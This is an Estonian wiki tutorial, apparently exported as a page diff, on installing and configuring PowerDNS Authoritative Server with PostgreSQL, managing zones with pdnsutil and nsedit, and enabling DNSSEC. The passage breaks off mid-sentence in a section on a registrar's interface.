		<id>https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4241</id>
		<title>PowerDNS Authoritative Server nimeserveri kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PowerDNS_Authoritative_Server_nimeserveri_kasutamine&amp;diff=4241"/>
		<updated>2026-06-17T10:58:26Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Tsooni migreerimine pädeva pdns peale */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PowerDNS https://www.powerdns.com/ on üks populaarsetest vaba tarkvaralistest nn alternatiivsetest DNS serveritest, kuigi 'alternatiivse' kohta väidetavalt teda kasutatakse väga massiliselt DNSSEC jaoks. PowerDNS tarkvara võimaldab pidada täielist DNS infrastruktuuri, sh slave ja master pädevate nimeserverite erinevad konfiguratsioonid. PowerDNS tarkvara komplekti kuuluvad&lt;br /&gt;
&lt;br /&gt;
* PowerDNS Authoritative Server - pädev nimeserver&lt;br /&gt;
* PowerDNS Recursor - rekursiivne nimeserver&lt;br /&gt;
* dnsdist - koormusjaotur&lt;br /&gt;
&lt;br /&gt;
PowerDNS Authoritative Server tarkvaral on sellised tunnused&lt;br /&gt;
&lt;br /&gt;
* võimalus kasutada andmete salvestamiseks erinevaid nn backend'isid (nn plain text, sql andmebaas, ldap kataloog jne)&lt;br /&gt;
* väga mugavalt korraldada DNSSEC tsooni pidamist&lt;br /&gt;
* DNSSEC puhul on PowerDNS tarkvarale iseloomulik, et kõik DNSSEC moodustatakse käigult, st midagi ei ole salvestatud (well, midagi puhverdatakse, aga rrsig moodi kirjeid jms ei hoita nö tsoonifaili kujul)&lt;br /&gt;
* tsoonide käsitlemine (tekitamine, sisu muutmine, eemaldamine) on võimalik üle nn API&lt;br /&gt;
* eksisteerivad mitmesugused veebipõhised tsoonide haldusliidesed (otse baasi ja üle API)&lt;br /&gt;
* ebamugav on kontrollida, kust tsooni kopeeritakse, kuhu notify saadetakse ja kust lubatakse tsooni kopeerida&lt;br /&gt;
&lt;br /&gt;
Haldusliidesed jagunevad kaheks&lt;br /&gt;
&lt;br /&gt;
* kirjutavad otse samasse sql baasi, mida kasutab PowerDNS ja tegelikult töötavadki ainult SQL backendide puhul - nt Poweradmin, http://www.poweradmin.org/&lt;br /&gt;
* suhtlevad PowerDNS'iga üle API, töötavad kõigi backendide puhul - nt nsedit, https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
Järgnevas tekstis öeldakse lühiduse mõttes PowerDNS ja mõeldakse PowerDNS Authoritative Server ehk pädevat komponenti.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara saab kasutada erinevates konfiguratsioonides&lt;br /&gt;
&lt;br /&gt;
* nö suure pildi mõttes, nt PowerDNS on varjatud master ja avalikus võrgus teenindavad NSD nimeserverid (alternatiiv oleks pidada PowerDNS nimeserverit otse avalikus võrgus)&lt;br /&gt;
* PowerDNS enda komponentidest on välja valitud mingi komplekt, nt baas osa ja PostgreSQL backend (alternatiiv oleks BIND formaadis tekstifailid failisüsteemis)&lt;br /&gt;
* tsooniandmete haldamiseks kasutatakse käsurea utiliiti pdnsutil ja nsedit php rakendust&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis keskendutakse just mainitud konfiguratsioonile. Kui PowerDNS kasutab SQL backendi, siis avaliku pädeva DNS teenuse pakkumise juures tekitab see vähemalt esmapilgul kahtlusi. Võib olla on hea mõte tekitada varjatud masteriga lahendus&lt;br /&gt;
&lt;br /&gt;
      ans1 (NSD)                                   ans2 (NSD)&lt;br /&gt;
      _____                                        _____&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |     |                                      |     |&lt;br /&gt;
     |_____| port 8952                            |_____| port 8952&lt;br /&gt;
        |                                            |&lt;br /&gt;
        |                                            |&lt;br /&gt;
    ----|---------------------|----------------------|----&lt;br /&gt;
                              |&lt;br /&gt;
                            __|__&lt;br /&gt;
                           |     | nimetaja (PowerDNS)&lt;br /&gt;
                           |     |&lt;br /&gt;
                           |_____|&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* ans1, ans2 - avalikud pädevad nimeserverid, tehniliselt slave'id&lt;br /&gt;
* nimetaja - varjatud pädev nimeserver, tehniliselt master&lt;br /&gt;
* üle port 8952 saab nsd protsessi eemalt juhtida (alternatiiv on juhtida nö tavalisel viisil, lokaalselt)&lt;br /&gt;
&lt;br /&gt;
Käesolevas tekstis pööratakse NSD tarkvara kasutamisele tähelepanu minimaalselt. NSD tekst asub aadressil [[:Pädeva nimeserveri NSD v. 4 kasutamine operatsioonisüsteemiga Debian]].&lt;br /&gt;
&lt;br /&gt;
===Tarkvara paigaldamine ja seadistamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks on üldiselt kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* operatsioonisüsteemi paketihaldus&lt;br /&gt;
* PowerDNS repositoorium - https://repo.powerdns.com/&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara on jaotatud komponentideks&lt;br /&gt;
&lt;br /&gt;
* üldosa&lt;br /&gt;
* tsoonidega seotud andmete salvesamiseks erinevad backendid (failisüsteem, SQL andembaas jne)&lt;br /&gt;
&lt;br /&gt;
Kui asutakse kasutama SQL backendi, siis võib olla otstarbekas enne PowerDNS vastava backendi paigaldamist baas ise paigaldada ja käivitada; nt nt see baas ei pruugi olla tingimata samas arvutis. Teisipidi, mugavam on samas arvutis, kuna sel juhul baasi saab lähtestada dbconfig süsteemi abil; lisaks, kui kasutatakse DNSSEC'i, siis arvestada, et krüptomaterjal asub baasis. Käesolevas tekstis paigaldatakse tarkvara PowerDNS repositooriumist kuna seal on alati kõige värskem.&lt;br /&gt;
&lt;br /&gt;
====PostgreSQL andmebaasi ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
PowerDNS tarkvara ei ole PostgreSQL andmebaasi versiooni suhtes nõudlik, tõenäoliselt sobib igasugune v. 9.x ja nt en_US.UTF-8 kodeering&lt;br /&gt;
&lt;br /&gt;
 # apt-get install postgresql&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine PowerDNS repositooriumist====&lt;br /&gt;
&lt;br /&gt;
PowerDNS repositoorium asub aadressil https://repo.powerdns.com/ ja kasutamine (Debian v. 9 Stretch juhtumil)&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/pdns.list &lt;br /&gt;
 deb http://repo.powerdns.com/debian stretch-auth-master main&lt;br /&gt;
&lt;br /&gt;
ning öelda&lt;br /&gt;
&lt;br /&gt;
 # curl https://repo.powerdns.com/CBC8B383-pub.asc | sudo apt-key add -&lt;br /&gt;
 # apt-get update&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks öelda (paistab, et bind backend paigaldatakse lisaks paratamatult)&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pdns-server pdns-backend-pgsql&lt;br /&gt;
&lt;br /&gt;
seejuures on valik paigaldada baas db-config süsteemi abil ja see validagi. Tulemusena tekitatakse baasi baasi kasutaja, create database, initsiliseeritakse baasi sisu ning kirjeldatakse PowerDNS backend seadistus&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/powerdns/pdns.d/pdns.local.gpgsql.conf&lt;br /&gt;
 # PostgreSQL Configuration&lt;br /&gt;
 #&lt;br /&gt;
 # Launch gpgsql backend&lt;br /&gt;
 launch+=gpgsql&lt;br /&gt;
 &lt;br /&gt;
 # gpgsql parameters&lt;br /&gt;
 gpgsql-host=127.0.0.1&lt;br /&gt;
 gpgsql-port=&lt;br /&gt;
 gpgsql-dbname=pdns&lt;br /&gt;
 gpgsql-user=pdns&lt;br /&gt;
 gpgsql-password=pdnsparool&lt;br /&gt;
 gpgsql-dnssec=yes&lt;br /&gt;
&lt;br /&gt;
Vaikimisi käivitatakse PowerDNS protsessid ning natuke saab asuda süsteemi kasutama&lt;br /&gt;
&lt;br /&gt;
 # pdns_control list-zones&lt;br /&gt;
 All zonecount:0&lt;br /&gt;
&lt;br /&gt;
Järgmisena tuleb PowerDNS server seadistada.&lt;br /&gt;
&lt;br /&gt;
====Käsitsi baasi lähtestamine====&lt;br /&gt;
&lt;br /&gt;
Kui db-config süsteemi mitte kasutada, sobib tekitada kasutaja ja create database andmebaas käsitsi&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql&lt;br /&gt;
 ..&lt;br /&gt;
 postgres=# create role pdns login password 'pdnsparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
 postgres=# create database pdns owner = pdns;&lt;br /&gt;
&lt;br /&gt;
ning seejärel laadida baasi sisu, õieti struktuur&lt;br /&gt;
&lt;br /&gt;
 # psql -h 127.0.0.1 -U pdns pdns &amp;lt; /usr/share/doc/pdns-backend-pgsql/schema.pgsql.sql&lt;br /&gt;
&lt;br /&gt;
Lisaks peab olema seadistusfail /etc/powerdns/pdns.d/pdns.local.gpgsql.conf sobiva sisuga, vt. eelmist punkti.&lt;br /&gt;
&lt;br /&gt;
===Tarkvara seadistamine===&lt;br /&gt;
&lt;br /&gt;
Üldosa sobiks kokkuvõttes seadistada nt nii&lt;br /&gt;
&lt;br /&gt;
 # egrep -v &amp;quot;^$|^#&amp;quot; /etc/powerdns/pdns.conf &lt;br /&gt;
 allow-axfr-ips=127.0.0.0/8,::1,192.168.1.210&lt;br /&gt;
 also-notify=192.168.1.210&lt;br /&gt;
 api=yes&lt;br /&gt;
 api-key=midagisalajast123&lt;br /&gt;
 default-soa-mail=hostmaster.moraal.ee.&lt;br /&gt;
 default-soa-name=ans1.moraal.ee.&lt;br /&gt;
 include-dir=/etc/powerdns/pdns.d&lt;br /&gt;
 launch=&lt;br /&gt;
 master=yes&lt;br /&gt;
 only-notify=192.168.1.210&lt;br /&gt;
 security-poll-suffix=&lt;br /&gt;
 setgid=pdns&lt;br /&gt;
 setuid=pdns&lt;br /&gt;
 slave=yes&lt;br /&gt;
 soa-expire-default=3600000&lt;br /&gt;
 soa-minimum-ttl=3600&lt;br /&gt;
 soa-refresh-default=86400&lt;br /&gt;
 soa-retry-default=7200&lt;br /&gt;
 webserver=yes&lt;br /&gt;
 webserver-address=192.168.1.248&lt;br /&gt;
 webserver-allow-from=0.0.0.0/0,::/0,192.168.10.0/24&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* allow-axfr-ips - millistelt ip aadressidelt on lubatud axfr&lt;br /&gt;
* also-notify - millistele ip aadressidel töötavatele nimeserveritele saata notify&lt;br /&gt;
* api* - api kasutamine (vajalik veebipõhise haldusliidese nsedit jaoks)&lt;br /&gt;
* default-soa-* - uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* only-notify - notify saadetakse ainult näidatud ip aadressidele (mitte tsoonifailides siselduvatele NS serveritele)&lt;br /&gt;
* soa-* uue tsooni sisu moodustamisel kasutatavad vaikeväärtused&lt;br /&gt;
* webserver* - powerdns sisemise veebiserveri ip aadress jms (saab uurida protsesside statistikat)&lt;br /&gt;
&lt;br /&gt;
Muudatuste kehtestamiseks lõpetada ja käivitada pdns protsessid&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop pdns&lt;br /&gt;
 # systemctl start pdns&lt;br /&gt;
&lt;br /&gt;
===Tsooni sisu haldamine käsurealt===&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu haldamine käsurealt toimub utiliidi pdnsutil abil. Uue tühja tsooni tekitamine (sisaldab SOA kirjet), seejärel tuleb vähemalt NS kirje tekitada (nb! nii tekib Native tüüpi tsoon)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil create-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tsooni Native -&amp;gt; Master teisendus&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-kind moraal.ee master&lt;br /&gt;
&lt;br /&gt;
Tsooni sisu esitamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil list-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Sisu muutmiseks, sh muuta käsitsi SOA serial&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil edit-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
utiliidiga seriali suurendamiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
&lt;br /&gt;
Tulemuse küsimine&lt;br /&gt;
&lt;br /&gt;
 # dig @127.0.0.1 moraal.ee axfr&lt;br /&gt;
&lt;br /&gt;
Notify käsitsi välja saatmiseks&lt;br /&gt;
&lt;br /&gt;
 # pdns_control notify moraal.ee&lt;br /&gt;
 Added to queue&lt;br /&gt;
&lt;br /&gt;
Kirje lisamine (lisaks tuleb increase serial öelda)&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-record moraal.ee imre5 A 300 &amp;quot;127.0.0.5&amp;quot;&lt;br /&gt;
 Feb 21 10:20:54 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 New rrset:&lt;br /&gt;
 imre5.moraal.ee. IN A 300 127.0.0.5&lt;br /&gt;
&lt;br /&gt;
===Veebipõhine haldusliides nsedit===&lt;br /&gt;
&lt;br /&gt;
Veebipõhiste haldusliideste abil saab&lt;br /&gt;
&lt;br /&gt;
* tekitada ja kustutada tsoone, muuta tsoonide sisu&lt;br /&gt;
* loodetavasti haldusliidese abil jäävad tegemata mingid süntaksivead, mida on kerge teha nn BIND-ühilduvat tsoonifaili tavalise tekstieditoriga otse muutes&lt;br /&gt;
* tsooni sisu halduse saab usaldada mitte-vi/joe/nano ekspertiisiga inimesele&lt;br /&gt;
&lt;br /&gt;
Paistab, et veebipõhiseid haldusliideseid on omajagu, https://github.com/PowerDNS/pdns/wiki/WebFrontends. nsedit on PHP rakendus. Märkused&lt;br /&gt;
&lt;br /&gt;
* Tsoonis tehtud muudatustega kaasneb automaatselt SOA seriali suurenemine&lt;br /&gt;
* Veebiliideses tehtud muudatused ei kajastu alati sama veebiliideses koheselt (nt SOA seriali muutumine, välja ja sisselogimise järel on näha)&lt;br /&gt;
* nsedit esitab muudatuste logi&lt;br /&gt;
* toimib ipv6 jaoks&lt;br /&gt;
* nn õäöü tähti sisaldavaid nimesid sisestada otseselt ei saa&lt;br /&gt;
* rakenduse võib paigaldada http:// peale ja seejärel muuta veebiserveri seadistusi ning kasutada edasi https:// abil&lt;br /&gt;
* nsedit ei pea asuma samas arvutis PowerDNS serveriga, suhtlemine toimub üle võrgu ja kasutades API liidest&lt;br /&gt;
&lt;br /&gt;
====Ettevalmistused====&lt;br /&gt;
&lt;br /&gt;
nsedit kasutamise eelduseks on selline tarkvara&lt;br /&gt;
&lt;br /&gt;
 # apt-get install apache2 php git php-sqlite3 php-curl&lt;br /&gt;
&lt;br /&gt;
====Paigaldamine ja seadistamine====&lt;br /&gt;
&lt;br /&gt;
Kopeerida tarkvara, tundub, et 2017 aasta alguses on praktiline võtta git repo viimane ots&lt;br /&gt;
&lt;br /&gt;
 # cd /var/www/html&lt;br /&gt;
 # git clone https://github.com/tuxis-ie/nsedit.git&lt;br /&gt;
&lt;br /&gt;
Tekitada php skriptide jaoks kasutaja:grupp&lt;br /&gt;
&lt;br /&gt;
 # groupadd nsedit&lt;br /&gt;
 # useradd -g nsedit -m -d /opt/nsedit -s /bin/false nsedit&lt;br /&gt;
&lt;br /&gt;
Avades brauseris http://pdns.moraal.ee/nsedit küsitakse parooli, vaikimisi sobib admin ja admin mille järel&lt;br /&gt;
&lt;br /&gt;
* kontrollitakse vajalike teekide olemasolu&lt;br /&gt;
* moodustatakse sqlite3 andmebaas&lt;br /&gt;
&lt;br /&gt;
 # sqlite3 /var/www/html/etc/pdns.users.sqlite3&lt;br /&gt;
 ..&lt;br /&gt;
 sqlite&amp;gt; .tables&lt;br /&gt;
 logs   users  zones&lt;br /&gt;
&lt;br /&gt;
nsedit seadistatakse failis /var/www/html/nsedit/includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
 # cp includes/config.inc.php-dist includes/config.inc.php&lt;br /&gt;
&lt;br /&gt;
* ühendust powerdns serveriga üle api juhib sektsioon&lt;br /&gt;
&lt;br /&gt;
 # cat /var/www/html/nsedit/includes/config.inc.php | grep '^$api'&lt;br /&gt;
 $apipass = 'apiparool';           # The PowerDNS API-key&lt;br /&gt;
 $apiip   = '10.0.9.18';           # The IP of the PowerDNS API&lt;br /&gt;
 $apiport = '8081';       # The port of the PowerDNS API&lt;br /&gt;
 $apiproto      = 'http'; # http | https&lt;br /&gt;
 $apisslverify  = FALSE;  # Verify SSL Certificate if using https for apiproto&lt;br /&gt;
&lt;br /&gt;
* vaikeväärtuste kasutamiset haldusliideses kontrollib&lt;br /&gt;
&lt;br /&gt;
 $defaults['soa_edit']    = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['soa_edit_api'] = 'INCEPTION-INCREMENT';&lt;br /&gt;
 $defaults['defaulttype'] = 'Master';                    # Choose between 'Native' or 'Master'&lt;br /&gt;
 $defaults['ns'][0] = 'ns1.moraal.ee.';         # The value of the first NS-record&lt;br /&gt;
 $defaults['ns'][1] = 'ns2.moraal.ee.';       # The value of the second NS-record&lt;br /&gt;
 $defaults['ttl']   = 3600;                              # Default TTL for records&lt;br /&gt;
 $defaults['disabled'] = false;                          # Default disabled state&lt;br /&gt;
&lt;br /&gt;
Kasutajaliides paistab välja selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Pdns-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
Kui rakendus töötab, muuta rakenduse failide omanik:grupp ära&lt;br /&gt;
&lt;br /&gt;
 # chown -R nsedit:nsedit /var/www/html/nsedit&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
* Kasutajate lisamine, valida (ning märkida linnuke admin user jaoks), tulemusena on nsedit logid paremad&lt;br /&gt;
&lt;br /&gt;
 Users -&amp;gt; Add new user &lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine, valida&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Add new zone&lt;br /&gt;
&lt;br /&gt;
ning sisestada Domain lahtrisse domeeninimi, lõpetades punktiga, nt&lt;br /&gt;
&lt;br /&gt;
 test-1.ee.&lt;br /&gt;
&lt;br /&gt;
Kõik muud valikud jätta vaikimisi&lt;br /&gt;
&lt;br /&gt;
 Account - admin&lt;br /&gt;
 Type - master&lt;br /&gt;
 Template - None&lt;br /&gt;
&lt;br /&gt;
Kuna pdns serveri seadistusfailisis on näidatus SOA kirje väärtused ja nsedit seadisusfailis on kirjeldatud nimeserverid, siis tekib vaikimisi kastutatav tulemus.&lt;br /&gt;
&lt;br /&gt;
* Uue tsooni lisamine kirjeldades korraga palju kirjeid (nt tsooni ületoomisel eelmise dns teenusepakkuja juurest)&lt;br /&gt;
&lt;br /&gt;
 Zones -&amp;gt; Import a new zone&lt;br /&gt;
&lt;br /&gt;
seejuures&lt;br /&gt;
&lt;br /&gt;
 avanenud dialoogi pasteda tsoonifaili sisu&lt;br /&gt;
 eemaldada SOA kirje&lt;br /&gt;
 asendada NS kirjetesse õiged väärtused&lt;br /&gt;
 kõik nimed (kirje kõige vasem positsioon) peavad olema pikad ja lõppema punktiga&lt;br /&gt;
 eemaldada linnuke 'Overwrite Nameservers' juurest&lt;br /&gt;
&lt;br /&gt;
* Mitme elemendilise väärtuse puhul tuleb see nii sisestada, nt MX kirje puhul&lt;br /&gt;
&lt;br /&gt;
 10 mx.moraal.ee.&lt;br /&gt;
&lt;br /&gt;
* Eeldusel, et on olemas Content tulbas kasutatav A kirje ip aadressile vastav in-addr.arpa tsoon, saab nsedit abil tekitada automaatselt PTR kirje.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://github.com/tuxis-ie/nsedit&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni esmane juurutamine===&lt;br /&gt;
&lt;br /&gt;
Tundub, et uuemal ajal saab DNSSEC juures kasatada CSK (Combined Signing Key) võtit ja seda kasutab PowerDNS vaikimisi, kuid samas CSK võtmeid registripidajad eriti ei toeta. Ja PowerDNS toetab ka nö klassikalist KSK+ZSK komplekti kasutamist.&lt;br /&gt;
&lt;br /&gt;
====KSK ja ZSK võtmete kasutamine====&lt;br /&gt;
&lt;br /&gt;
Võtmete tsooniga seostamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee ksk 2048 active rsasha256&lt;br /&gt;
 # pdnsutil add-zone-key moraal.ee zsk 1024 active rsasha256&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 5 0...f'&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
mis&lt;br /&gt;
&lt;br /&gt;
* tekitab võtmed&lt;br /&gt;
* kui set-meta kogemata vääratab, nt lisati SOA-EDIT-SOA, siis saab meta data eemaldada, st näitamata väärtust&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-SOA&lt;br /&gt;
&lt;br /&gt;
* võtab kasutusele nsec3 hash'ide arvutamiseks vajaliku materjali (0-f on 16-elemendiline juhuslik hex järgnevus, mis saadake nt nii&lt;br /&gt;
&lt;br /&gt;
 $ head -c 512 /dev/urandom | sha1sum | cut -b 1-16&lt;br /&gt;
 7bc59a6dd87fa477&lt;br /&gt;
&lt;br /&gt;
ja ideaalis võiks seda regulaarselt muuta), nt&lt;br /&gt;
&lt;br /&gt;
 $ dig +short moraal.ee nsec3param&lt;br /&gt;
 1 0 5 E7544BB6070C3E0F&lt;br /&gt;
&lt;br /&gt;
(kus 1 - sha1, 0 - opt-out, 5 - iterations, E7544BB6070C3E0F - salt)&lt;br /&gt;
&lt;br /&gt;
* INCEPTION-INCREMENT rida seadistab selliselt, et kui automaaselt tsooni andmed resigneeritakse, siis suurendatakse ka seriali (muidu ei toimu notify ja andmed ei jõua avalikesse pädevatesse nimeserveritesse)&lt;br /&gt;
* rectify tuleb põhimõtteliselt öelda peale iga tsooni muudatust, et olla täiesti kindel tsooni toimimises; kui PowerDNS kasutatakse avalike nimeserverite varjatud masterina, pole see probleem&lt;br /&gt;
&lt;br /&gt;
ning tsooni andmed paistavad&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
 Nov 06 23:49:44 [bindbackend] Done parsing domains, 0 rejected, 0 new, 0 removed&lt;br /&gt;
 This is a Master zone&lt;br /&gt;
 Last SOA serial number we notified: 2016103003 == 2016103003 (serial in the database)&lt;br /&gt;
 Metadata items: &lt;br /&gt;
        SOA-EDIT        INCEPTION-INCREMENT&lt;br /&gt;
        SOA-EDIT-API    INCEPTION-INCREMENT&lt;br /&gt;
 Zone has NSEC3 semantics, configuration: 1 0 1 ab&lt;br /&gt;
 keys: &lt;br /&gt;
 ID = 11 (ZSK), flags = 256, tag = 26589, algo = 8, bits = 1024    Active ( RSASHA256 ) &lt;br /&gt;
 ID = 10 (KSK), flags = 257, tag = 53461, algo = 8, bits = 2048    Active ( RSASHA256 ) &lt;br /&gt;
 KSK DNSKEY = moraal.ee. IN DNSKEY 257 3 8  AwEAAcn... TQcnQstT+tU= ; ( RSASHA256 )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 1 6c123b39076072da... c66f62b1e3c388b86b7f ; ( SHA1 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 2 b85dee98efa6e3bb... 57ce193f728f6b2b1d0dd262 ; ( SHA256 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 3 1359b0b2b97e60b2... 844b207e84bf5c109eb2e151 ; ( GOST R 34.11-94 digest )&lt;br /&gt;
 DS = moraal.ee. IN DS 53461 8 4 6d735926cd5cf68b... 9ca2af1f72b3b8f67900bb32a94c ; ( SHA-384 digest )&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kaks võtit, ID väärtustega 10 ja 11&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje (reeglina see õnnestub, aga nt 2017 aasta kevadel .org domeenide puhul on tulemuseks dnssec viga, tavaline servfail)&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
====Tulemuse kontrollimine====&lt;br /&gt;
&lt;br /&gt;
Kui kõik juba töötab (ja on vist on vajalik, et kasutada on mõni dnssec-võimeline rekursiivne nimeserver), saab tulemust kontrollida nt nii&lt;br /&gt;
&lt;br /&gt;
 $ ldns-rrsig moraal.ee a&lt;br /&gt;
 moraal.ee RRSIG(a):  Thu Oct 27 00:00:00 2016 - Thu Nov 17 00:00:00 2016&lt;br /&gt;
&lt;br /&gt;
====Märkused====&lt;br /&gt;
&lt;br /&gt;
* DNSSEC RRSIG signatuure arvutatakse iga 2 nädala tagant üle selleks, et piirata replay attack võimalusi. Põhimõtteliselt saab pahalane päringule vastuseks saata mõne varasemalt võrgus olnud vastuse (st RRSet + RRSIG komplekti) eeldusel, et ta kontrollib kasutaja võrguliiklust. Tänu RRSIG piiratud kehtivusajale (nt 2 nädalat) saab ta seda teha mitte vanemate kui 2 nädalat andmetega, lisaks ta on piiratud saatma mitte suvalisi vastuseid, vaid viimase kahe nädala jooksul kasutuses olnud vastuseid.&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://blog.powerdns.com/2016/02/02/powerdns-authoritative-the-new-old-way-to-manage-domains/&lt;br /&gt;
&lt;br /&gt;
====CSK võtme kasutamine====&lt;br /&gt;
&lt;br /&gt;
Märkus 2016 lõpus: tundub, et see CSK on mingi tulevikutehnoloogia.&lt;br /&gt;
&lt;br /&gt;
Olemasoleva tsooni jaoks DNSSEC sisselülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil secure-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-nsec3 moraal.ee '1 0 1 ab'&lt;br /&gt;
 # pdnsutil rectify-zone moraal.ee&lt;br /&gt;
 # pdnsutil set-meta moraal.ee SOA-EDIT-API INCEPTION-INCREMENT&lt;br /&gt;
 # pdnsutil increase-serial moraal.ee&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb registripidajale öelda DS väärtus.&lt;br /&gt;
&lt;br /&gt;
Tulemuse saab kontrollida nt aadressil http://dnsviz.net/d/moraal.ee/dnssec/.&lt;br /&gt;
&lt;br /&gt;
DNSSEC eemaldamiseks tuleb&lt;br /&gt;
&lt;br /&gt;
* esmalt eemaldada registripidaja juurest DS kirje&lt;br /&gt;
* tsoonis dnssec väljalülitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil disable-dnssec moraal.ee&lt;br /&gt;
&lt;br /&gt;
Misc&lt;br /&gt;
&lt;br /&gt;
* tagasi nsec peale viimiseks&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil unset-nsec3 moraal.ee&lt;br /&gt;
&lt;br /&gt;
===DNSSEC tsooni seostamine DS sissekande abil ülevalpool oleva tsooniga===&lt;br /&gt;
&lt;br /&gt;
DNSSEC tsooni seostamiseks ülevalpool oleva tsooniga on vaja teada selliseid andmeid&lt;br /&gt;
&lt;br /&gt;
* võtme silt&lt;br /&gt;
* võtme tüüp&lt;br /&gt;
* algoritm&lt;br /&gt;
* avalik võti (või DS mis on avaliku võtme räsi vms)&lt;br /&gt;
&lt;br /&gt;
Need kõik on avalik info ja kättesaadavad domeeni pädevast nimeserverist, aga PowerDNS haldusutiliidiga saab selle küsida otsekoheselt&lt;br /&gt;
&lt;br /&gt;
 # pdnsutil show-zone moraal.ee&lt;br /&gt;
&lt;br /&gt;
Ühesõnaga, kui ise kasutatakse PowerDNS'i või partner saadab need andmed, siis allpool toodud dig käsuga tegelemist pole tarvis läbi teha. Tulemust sobib kontrollida nt aadressil http://dnsviz.net/.&lt;br /&gt;
&lt;br /&gt;
====zone.ee keskkonnas - .ee tsoonis====&lt;br /&gt;
&lt;br /&gt;
Logida sisse oma kasutajaga ja valida vasakult paneelist 'Teenuste ülevaade', kõnelaluse tsooni juures pressida rohelist + märki DNSSEC tulbas. Avanenud uuel eraanil vajutada üleval sinist nuppu Aktiveeri (muutub roheliseks), vajutada võtmete nimekirjas + märki ja täita lahtrid&lt;br /&gt;
&lt;br /&gt;
